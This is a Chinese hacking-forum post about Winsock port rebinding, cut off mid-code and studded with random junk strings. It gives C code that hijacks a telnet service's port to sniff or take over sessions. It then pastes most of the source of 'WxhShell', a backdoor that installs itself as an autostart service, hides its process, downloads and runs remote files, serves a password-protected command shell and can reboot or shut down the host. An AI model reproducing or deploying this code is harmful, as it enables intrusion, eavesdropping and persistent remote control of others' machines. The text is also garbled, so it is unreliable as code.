社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16243阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IB:Wh;_x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NvWwj%6]  
k.>*!l0  
  saddr.sin_family = AF_INET; `6`NuZ*6g  
E~]8>U?V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #P$=P2o  
a9qB8/Gg[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); " B Z6G`  
RG-pN()  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $QmP' <  
GQoaBO.  
  这意味着什么?意味着可以进行如下的攻击: Fku9hB  
9:CJl6~N)#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |i5A F\w  
nC^?6il  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2>0[^ .;"  
GEXT8f(7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )nyud$9w'  
I&qT3/SVI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |U%S<X  
O/$pT%D1x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f m.-*`ax  
M0DdrL/ L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (L_txd4  
9'C kV[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D`PnY&ffT  
EAp6IhW{  
  #include Udv5Y  
  #include f sAgXv  
  #include QN:gSS{30  
  #include    Ks:~Z9r}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /rN%y  
  int main() 1iEZ9J?  
  { !1K<iz_8  
  WORD wVersionRequested; VYI%U'9Q  
  DWORD ret; $w`QQ^\  
  WSADATA wsaData; DbFTNoVR  
  BOOL val; Z=n# XJO15  
  SOCKADDR_IN saddr; 8=OK8UaU  
  SOCKADDR_IN scaddr; \^vf`-uG  
  int err; pUki!TA  
  SOCKET s; JS% &ipm  
  SOCKET sc; /Za'L#=R  
  int caddsize; 5fPYtVm  
  HANDLE mt; 12v5*G[X  
  DWORD tid;   /`#sp  
  wVersionRequested = MAKEWORD( 2, 2 ); 1ux~dP  
  err = WSAStartup( wVersionRequested, &wsaData ); /\*,|y\<  
  if ( err != 0 ) { nw[DI %Tp  
  printf("error!WSAStartup failed!\n"); RX:wt  
  return -1; LS@[O])$'  
  } 9B")/Hz_  
  saddr.sin_family = AF_INET; IO~d.Ra  
   K <7#;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \]=qGMwFs  
ork/:y9*y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |2(z<b&y=  
  saddr.sin_port = htons(23); AYHB?xOpR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FCTz>N^p  
  { z.n`0`^  
  printf("error!socket failed!\n"); %Uybp  
  return -1; gE%{#&*  
  } ik02Q,J  
  val = TRUE; =( b;Cow  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a(&!{Y1bt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HB yk 1  
  { YP{)jAK  
  printf("error!setsockopt failed!\n"); e|u|b  
  return -1; b}4k-hZL  
  } t_5b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cy8+@77  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .f 4a+w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }q9;..oL  
5"xZ'M~=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j>X;a39|  
  { Va,M9)F  
  ret=GetLastError(); CPc<!CC  
  printf("error!bind failed!\n"); }c(".v#  
  return -1; ;%P$q9 *C  
  } +hL+3`TD#H  
  listen(s,2); "f\2/4EIl  
  while(1) ei'=%r8~  
  { (lF;c<69  
  caddsize = sizeof(scaddr); eSf e s  
  //接受连接请求 x;" !  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;mH1J'.(a  
  if(sc!=INVALID_SOCKET) z:<mgp&/<  
  { [q]"_4L0;d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A,D67G<v`  
  if(mt==NULL) 6T{Zee  
  { Z#YkAQHv5  
  printf("Thread Creat Failed!\n"); rBLkowDP*  
  break; 6=o@X  
  } f)hs>F  
  } (v(!l=3  
  CloseHandle(mt); gv$6\1  
  } D ODo !  
  closesocket(s); ;K38I}  
  WSACleanup(); IQ[ ?ej3W  
  return 0; =t1.j=oC  
  }   d (]t}  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3)v6N_  
  { X||Z>w}v  
  SOCKET ss = (SOCKET)lpParam; OJ$169@;  
  SOCKET sc; X_|W#IM*+  
  unsigned char buf[4096]; 6He7A@Eh  
  SOCKADDR_IN saddr; 2/S~l;x  
  long num; 0HK03&  
  DWORD val; 0/P!rH9  
  DWORD ret; iOz<n z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \ &1)k/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F_;oZ   
  saddr.sin_family = AF_INET; "8 |y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V3baEy>=z  
  saddr.sin_port = htons(23); (.\GI D+i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 32jOs|<\  
  { Rro|P_  
  printf("error!socket failed!\n"); 3nv7Uz  
  return -1; k^AI7H  
  } iK{q_f\"  
  val = 100; ?6.vd]oNO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }T%;G /W  
  { 8>a/x,  
  ret = GetLastError(); {Pm^G^EP  
  return -1; tdg.vYMDPC  
  } /9dV!u!;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I7b(fc-r  
  { ZxkX\gl91  
  ret = GetLastError(); )}L*8 LV  
  return -1; *9)7.} uY  
  } 'Y3>+7bI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _.0c~\VA  
  { aVvi_cau  
  printf("error!socket connect failed!\n"); p'1n'|$e  
  closesocket(sc); |sz`w^#  
  closesocket(ss); )3v0ex@Jl  
  return -1; 'JY*K:-  
  } U I|L;5  
  while(1) w] LN(o:  
  { f" Yj'`6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j{N;2#.u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z'dY,<@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~a m]G0  
  num = recv(ss,buf,4096,0); )l*H$8  
  if(num>0) c/ %5IhX?  
  send(sc,buf,num,0); 7r?O(0>  
  else if(num==0) ~(Gv/x  
  break; cAC2Xq  
  num = recv(sc,buf,4096,0); eU_|.2  
  if(num>0) fEc}c.!5  
  send(ss,buf,num,0); a%f{mP$m  
  else if(num==0) , M$*c  
  break; SPW @TF1  
  } d_#\^!9  
  closesocket(ss); m>2b %GTh  
  closesocket(sc); lGqwB,K$z4  
  return 0 ; XPXC7_fV  
  } {"8\~r&b  
W+PAlsOC  
*/xI#G,O+  
========================================================== e3YZ-w^W~h  
VHVU*6_w  
下边附上一个代码,,WXhSHELL <K:?<F  
b6_*ljM  
========================================================== ncJ}h\:Sk  
DrbjqQL+.  
#include "stdafx.h" 'dM &~L SQ  
-yfyd$5j  
#include <stdio.h> D.)$\Caq  
#include <string.h> k6rX/ocu  
#include <windows.h> mH*42XC*  
#include <winsock2.h> b,5H|$nLu  
#include <winsvc.h> C-]H+p  
#include <urlmon.h> q]:+0~cz  
-_'M *-  
#pragma comment (lib, "Ws2_32.lib") pr>Qu:  
#pragma comment (lib, "urlmon.lib") ]+)z}lr8 C  
N%6jZmKip  
#define MAX_USER   100 // 最大客户端连接数 PYr#vOH  
#define BUF_SOCK   200 // sock buffer {r.#R| 4v  
#define KEY_BUFF   255 // 输入 buffer m JewUc!<5  
6}R^L(^M  
#define REBOOT     0   // 重启 vrn I Eur  
#define SHUTDOWN   1   // 关机 \*6%o0c  
:Oo  
#define DEF_PORT   5000 // 监听端口 kM]:~b2  
aAO[Y"-:,Y  
#define REG_LEN     16   // 注册表键长度 xr!FDfM.K  
#define SVC_LEN     80   // NT服务名长度 is{I5IR\/  
 1JgnuBX"  
// 从dll定义API mB;W9[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `ea;qWy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u(02{V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lT$Vv= M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r S/Q  
}aXc,;Ps  
// wxhshell配置信息 &9PzBc  
struct WSCFG { xuO5|{h  
  int ws_port;         // 监听端口 N-jFA8n  
  char ws_passstr[REG_LEN]; // 口令 a}`4BMi3  
  int ws_autoins;       // 安装标记, 1=yes 0=no UY j  
  char ws_regname[REG_LEN]; // 注册表键名 Jjik~[<q:  
  char ws_svcname[REG_LEN]; // 服务名 ~CldqXeI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fMwJwMT8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kxoJL6IC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O(,Ezy x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9?gLi!rd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m\U@L+L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?nrd$,  
~^" cNv  
}; ;E:ra_l  
?v#t{e0eQ  
// default Wxhshell configuration n?&G>`u*  
struct WSCFG wscfg={DEF_PORT, x '3<F  
    "xuhuanlingzhe", fS-#dJC";`  
    1, G hLgV  
    "Wxhshell", C2AP   
    "Wxhshell", (rt DT  
            "WxhShell Service", Um;ReJ8z  
    "Wrsky Windows CmdShell Service", vuuID24:  
    "Please Input Your Password: ", Ts:dnGR5  
  1, 56u'XMB?  
  "http://www.wrsky.com/wxhshell.exe", ckP&N:tC  
  "Wxhshell.exe" RmO-".$yt  
    }; c;w cgU  
W>dS@;E  
// 消息定义模块 4a>z]&s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !OPK?7   
char *msg_ws_prompt="\n\r? for help\n\r#>"; _.J{U0N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^w^cYM,  
char *msg_ws_ext="\n\rExit."; W6&" .2  
char *msg_ws_end="\n\rQuit."; /+2^xEIjE  
char *msg_ws_boot="\n\rReboot..."; @`k!7? Sq  
char *msg_ws_poff="\n\rShutdown..."; Ee9u7TFT  
char *msg_ws_down="\n\rSave to "; en!cu_]t  
,bmiIW%  
char *msg_ws_err="\n\rErr!"; WXNJc  
char *msg_ws_ok="\n\rOK!"; nfy"M),et  
?Z( 6..&  
char ExeFile[MAX_PATH]; -}2q-  
int nUser = 0; [sFD-2y  
HANDLE handles[MAX_USER]; ZNFn^iuQ  
int OsIsNt; eN>=x40  
~yt+xWV  
SERVICE_STATUS       serviceStatus; _zJY1cr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "6 dC  
-#3B>VY  
// 函数声明 / !jd%,G  
int Install(void); \PU|<Ru.  
int Uninstall(void); V5K`TC^  
int DownloadFile(char *sURL, SOCKET wsh); ?OYu BZF  
int Boot(int flag); QtkyKR  
void HideProc(void); 8iK>bp  
int GetOsVer(void); g[-'0d\1  
int Wxhshell(SOCKET wsl); I6YN&9Y  
void TalkWithClient(void *cs); ],>Z' W  
int CmdShell(SOCKET sock); `"I^nD^t>Y  
int StartFromService(void); R2x(8k"LPU  
int StartWxhshell(LPSTR lpCmdLine); ~c! XQJ  
p8[Z/]p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [>;U1Wt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RNcHU  
FlD !?  
// 数据结构和表定义 O]m,zk  
SERVICE_TABLE_ENTRY DispatchTable[] = 2<fG= I8  
{ s=~r. x  
{wscfg.ws_svcname, NTServiceMain}, -nN}8&l  
{NULL, NULL}  s4;SA  
}; q3T'rw%Eh  
H1 n`A#6?  
// 自我安装 cQu1WgQ G  
int Install(void) ?*tpW75hR[  
{ n:`> QY  
  char svExeFile[MAX_PATH]; CO0Nq/@  
  HKEY key; :v Pzw!  
  strcpy(svExeFile,ExeFile); Jmf&&)p  
TaG'?  
// 如果是win9x系统,修改注册表设为自启动 3@KX|-  
if(!OsIsNt) { @4T+0&OI10  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vxZvK0b620  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'RTz*CSZ  
  RegCloseKey(key); ZR6KE_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &0K H00l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4B-v\3Ff  
  RegCloseKey(key); j?g{*M  
  return 0; wCkhE,#-_  
    } JDD(e_dw  
  } ,X+mXtg.  
} j*q]-$2E  
else { p/cVQ  
op"RrZAZBT  
// 如果是NT以上系统,安装为系统服务 v#(wc +[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fHb0pp\[.  
if (schSCManager!=0) Y=x]'3}^  
{ 7zgU>$i  
  SC_HANDLE schService = CreateService .^l;3*X@  
  ( hR[Qdu6r  
  schSCManager, .B"h6WMz  
  wscfg.ws_svcname, |mc!v*O  
  wscfg.ws_svcdisp, g Uy >I(  
  SERVICE_ALL_ACCESS, "DjD"?/b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PC7U&*x@  
  SERVICE_AUTO_START, zK}$W73W^  
  SERVICE_ERROR_NORMAL, A>xFNem  
  svExeFile, Fj7cI +  
  NULL, 0{@E=}}h  
  NULL, elJLTG  
  NULL, zo7Hm]W`  
  NULL, T,!?+#  
  NULL wX<)Fj'  
  ); = = cAL"Z  
  if (schService!=0) [L{q  
  { <Ktx*(D  
  CloseServiceHandle(schService); bEMD2ABm  
  CloseServiceHandle(schSCManager); <FRYt-+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^^{K[sLB  
  strcat(svExeFile,wscfg.ws_svcname); z$QYl*F1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TC<_I0jCh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p4fU/  
  RegCloseKey(key); {qp XzxV  
  return 0; f*0[[J0]  
    } ';^VdR]fk  
  } ?N~rms e  
  CloseServiceHandle(schSCManager); @v2_gjRe  
} ~Z=Q+'Hu0  
} GASDkVoij  
Z0`Bn5  
return 1; kbN2dL  
} G yvEc3|@  
7s4G|N[wR\  
// 自我卸载 jav7V"$  
int Uninstall(void) \3"4;fM!i  
{ A% -*M 'J  
  HKEY key; "@ xI  
#e}Q|pF  
if(!OsIsNt) { F *=>=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4[44Eku\  
  RegDeleteValue(key,wscfg.ws_regname); +g(>]!swb  
  RegCloseKey(key); B36_ OH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [i== Tp  
  RegDeleteValue(key,wscfg.ws_regname); XT9]+b8(M  
  RegCloseKey(key); bX Q*d_]WT  
  return 0; C*a>B,H  
  } e4fh<0gX  
} H9?(5  
} $nUhM|It  
else { 3+%a  
4@AY~"dq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <wfPbzs-V  
if (schSCManager!=0) LUc!a4i"fO  
{ JfGU3d*c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h6Ovl  
  if (schService!=0) 3q:U0&F  
  { !'8.qs  
  if(DeleteService(schService)!=0) { K~$A2b95  
  CloseServiceHandle(schService);  Gf_Je   
  CloseServiceHandle(schSCManager); ?41bZ$j  
  return 0; #Z#rOh  
  } C jISU$O  
  CloseServiceHandle(schService); $9YAq/#Q  
  } NX%"_W/W  
  CloseServiceHandle(schSCManager); NOM6},rp  
} akATwSrU  
} 8JYU1E w  
:d}I`)&  
return 1; \e+h">`WgX  
} /*Iq,"kGz  
c|RTP  
// 从指定url下载文件 v+Mi"ZAd  
int DownloadFile(char *sURL, SOCKET wsh) hGh91c;4  
{ l7 Pn5c  
  HRESULT hr; 2T 3tKX  
char seps[]= "/"; pse$S=  
char *token; 0Lb:N]5m8  
char *file; o|(Ivt7jk  
char myURL[MAX_PATH]; ]Y111<Ja  
char myFILE[MAX_PATH]; W5cBT?V  
RT`.S uN  
strcpy(myURL,sURL); D=1:-aLP7  
  token=strtok(myURL,seps); ~/^q>z!\4  
  while(token!=NULL) `& ufdn\j  
  { uaghB,i'n  
    file=token; /M!b3bmA  
  token=strtok(NULL,seps); qQjd@J}^  
  } $0 ]xeD0X  
8uAA6h+  
GetCurrentDirectory(MAX_PATH,myFILE); =Ot|d #_  
strcat(myFILE, "\\"); =D;n#n7  
strcat(myFILE, file); +*uaB  
  send(wsh,myFILE,strlen(myFILE),0); 9UDanj P  
send(wsh,"...",3,0); \.ukZqB3 0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f|f)Kys%5  
  if(hr==S_OK) W%@r   
return 0; rDI}X?JmX  
else Lmsc ~~  
return 1; 8]h~jNku  
5tx!LGOK  
} @n,V2`"  
Br4[hUV/  
// 系统电源模块 Y % 9$!  
int Boot(int flag) f[}(E  
{ %9vl  
  HANDLE hToken; DwmK?5p  
  TOKEN_PRIVILEGES tkp; sg`   
(yrN-M4~t  
  if(OsIsNt) { :3b.`s(M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); boS=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A |u-VXQ  
    tkp.PrivilegeCount = 1; H46N!{<;@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?_ 476A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ci 4K Nv;  
if(flag==REBOOT) { ~aPe?{yIUa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f8e :J#jbS  
  return 0; hk+8s\%-  
} (^pIB~.z  
else { ?7=c `  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %(&$CmS@  
  return 0; CKI.\o  
} uM)#T*(  
  } Znw3P|>B  
  else { 8+i=u" <  
if(flag==REBOOT) { fHK.q({Qc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &R5zt]4d&  
  return 0; A=W:}szt]  
} _mWVZ1P  
else { )Fgu'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y0f:N U  
  return 0; R_W6}  
} fn#qcZv?  
} mUj_V#v  
PctXh, =  
return 1; "7q!u,u  
} F[(ocxQZ3  
UpaF>,kM  
// win9x进程隐藏模块 QUeuN?3X\  
void HideProc(void) \VpN:RI  
{ }7*|s+F(f  
'B:8tv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (/7b8)g  
  if ( hKernel != NULL ) o_8Wnx^  
  { av&~A+b .r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v-Tkp Yn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j(A>M_f;  
    FreeLibrary(hKernel); 3{)!T;Wd  
  } ?;VsA>PV  
+=:_a$98  
return; `>0%Ha   
} 577#A,O  
3n,jrX75u  
// 获取操作系统版本 FI,K 0sO/|  
int GetOsVer(void) jB<B_"  
{ oN2#Jh%dH  
  OSVERSIONINFO winfo; xkCM*5:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J}NMF#w/;  
  GetVersionEx(&winfo); e"y-A&|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >?O?U=:<  
  return 1; IClw3^\l  
  else !YPwql(  
  return 0; 7Kf  
} :w q][0)  
oam$9 q  
// 客户端句柄模块 s"@}^ )*}  
int Wxhshell(SOCKET wsl) 4a0Ud !Qcs  
{ :i4AkBNK  
  SOCKET wsh; 0K'{w]Q  
  struct sockaddr_in client; 5vFM0  
  DWORD myID;  zo1T`"Y  
inY_cn?  
  while(nUser<MAX_USER) 0W0GSDx  
{ D6~KLSKm  
  int nSize=sizeof(client); Wv|CJN;4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LC4VlfU  
  if(wsh==INVALID_SOCKET) return 1; 3[j,d]\|  
=+LIGHIt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _Pno9|  
if(handles[nUser]==0) Zs(BViTb|  
  closesocket(wsh); AR!v%Z49i  
else hraR:l D  
  nUser++; eR4ib-nS  
  } :zX^H9'E<(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A!,c@Kv 3  
zMRa <G7  
  return 0; @0]w!q  
} 0C;Js\>3]  
8 :WN@  
// 关闭 socket h/oun2C  
void CloseIt(SOCKET wsh) Fv7]1EO.  
{ [n2zdiiBd  
closesocket(wsh); Qo :vAv  
nUser--;  V~VUl)  
ExitThread(0); ;vneeW4|  
} ep~+]7\  
ber&!9  
// 客户端请求句柄 0$ON`Vsu|  
void TalkWithClient(void *cs) &@,lF{KTL  
{ ZJF"Yo  
%%F, G  
  SOCKET wsh=(SOCKET)cs; Ell14Iki  
  char pwd[SVC_LEN]; 1d~d1Rd  
  char cmd[KEY_BUFF]; je@&|9h  
char chr[1]; (a0(ZOKH  
int i,j; Mk~U/oq  
e]nP7TIU  
  while (nUser < MAX_USER) { JNY?] |=  
tmOy"mq67  
if(wscfg.ws_passstr) { *xJ]e.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `v@Z|rv,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }]H7uC!t   
  //ZeroMemory(pwd,KEY_BUFF); TE;f*!  
      i=0; KTt+}-vP^  
  while(i<SVC_LEN) { L@z[b^  
i6P}MtC1  
  // 设置超时  Cu5_OJ  
  fd_set FdRead; cpl Ny?UIC  
  struct timeval TimeOut; Ux1j+}y  
  FD_ZERO(&FdRead); T9}~]zW7P  
  FD_SET(wsh,&FdRead); qSlo)aP  
  TimeOut.tv_sec=8; YzQ(\._s  
  TimeOut.tv_usec=0; `y61Bz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L){V(*K '  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xe^M2$clb\  
F53 .g/[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g0"xG}d  
  pwd=chr[0]; I{0cnq/  
  if(chr[0]==0xd || chr[0]==0xa) { DLP@?]BBOA  
  pwd=0; H\V?QDn  
  break; ? A;RTM  
  } O:8 u^ TP  
  i++; h<)ceD<,  
    } ZV:df 6S  
~"0{<mMcX  
  // 如果是非法用户,关闭 socket Op8Gj  `  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fPHV]8Ft|  
} 0<:rp]<,  
P5h*RV>oS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?mM:oQH+>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X31%T"  
h^_^)P+;  
while(1) { y9?*H?f,  
Go1xyd:k  
  ZeroMemory(cmd,KEY_BUFF); GApvRR+Z  
pY-!NoES  
      // 自动支持客户端 telnet标准   ~Er0$+q=Y;  
  j=0; [T4{K &  
  while(j<KEY_BUFF) { JBA{i45x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xv Xci W  
  cmd[j]=chr[0]; ob8}v*s  
  if(chr[0]==0xa || chr[0]==0xd) { r>! @Z2%s  
  cmd[j]=0; 9(qoME}>=  
  break; p>kny?AJ  
  } tV_3!7m0$  
  j++; \ a7m!v  
    } IJKdVb~   
c~/poFj  
  // 下载文件 O7_y QQAA  
  if(strstr(cmd,"http://")) { G /$+e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ygV_"=+|N  
  if(DownloadFile(cmd,wsh)) pGD-K41O]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $[b}r#P  
  else 43y@9P0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `jR8RDD  
  } 4OLYB9HP_  
  else { j:uq85 s  
GFE3p  
    switch(cmd[0]) { GOGS"q  
  X^dasU{*  
  // 帮助 0sA`})Dk  
  case '?': { E+EcXf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ek_&E7  
    break; )MSCyPp5  
  } A$7K5   
  // 安装 ?7TmAll<.s  
  case 'i': { cAGM|%  
    if(Install()) bf=\ED^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hrD2 -S  
    else X jxa 2D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !]}C!dXd  
    break; j@#RfVx  
    } '5*&  
  // 卸载 `KLr!<i()  
  case 'r': { nC !NZ  
    if(Uninstall()) h8%QF'C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !-n* ]C  
    else >);M\,1\I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sw}^@0ua=  
    break; W`u @{Vb]  
    } 8 %?MRRK  
  // 显示 wxhshell 所在路径 7)1%Z{Dy  
  case 'p': { ]b>XN8y.  
    char svExeFile[MAX_PATH]; g18zo~LZ  
    strcpy(svExeFile,"\n\r"); Nxl#]  
      strcat(svExeFile,ExeFile); g~,iWoY  
        send(wsh,svExeFile,strlen(svExeFile),0); #@w/S:KbJt  
    break; pYm#iz  
    } 7O%^4D  
  // 重启 ooB9i No^  
  case 'b': { =`>ei  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6:8Nz   
    if(Boot(REBOOT)) >'=9sCi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3!cenyE  
    else { "x.iD,>k  
    closesocket(wsh); kI04<!  
    ExitThread(0); Het>G{  
    } 6C<GYzzo  
    break; 0~_I9|FN  
    } k:iy()n[  
  // 关机 ollVg/z  
  case 'd': { !mWm@ }Ujg  
